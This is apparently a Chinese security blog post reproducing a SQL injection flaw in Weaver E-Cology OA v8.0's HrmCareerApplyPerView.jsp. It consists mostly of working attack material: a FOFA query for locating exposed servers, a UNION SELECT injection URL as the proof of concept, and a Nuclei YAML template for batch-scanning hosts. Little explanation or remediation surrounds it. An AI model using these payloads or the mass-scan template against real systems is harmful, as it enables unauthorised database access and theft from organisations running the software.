泛微E-cology HrmCareerApplyPerView.jspSQL注入漏洞

漏洞简介

泛微OA E-Cology HrmCareerApplyPerView.jsp 文件存在SQL注入漏洞,攻击者通过漏洞可以获取服务器数据库敏感文件

影响版本

泛微OA E-Cology v8.0

漏洞复现

fofa语法:app="泛微-协同办公OA"
登录页面如下:

POC
/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27abc%27)),db_name(1),5,6,7

nuclei批量yaml文件

id: ecology-HrmCareerApplyPerView-sqli
info:
  name: ecology-HrmCareerApplyPerView.jsp-sqli
  author: mhb17
  severity: high
  description: description
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20HrmCareerApplyPerView.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  tags: tags
requests:
  - raw:
      - |+
        GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27abc%27)),db_name(1),5,6,7 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
        Connection: close
        Accept: */*
        Accept-Language: en
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 2020202020203c74723e0d0a0920202020202020203c544420636c6173733d46
      - type: word
        part: header
        words:
          - '200'
posted @ 2023-09-04 15:44  学安全的小白  阅读(812)  评论(0编辑  收藏  举报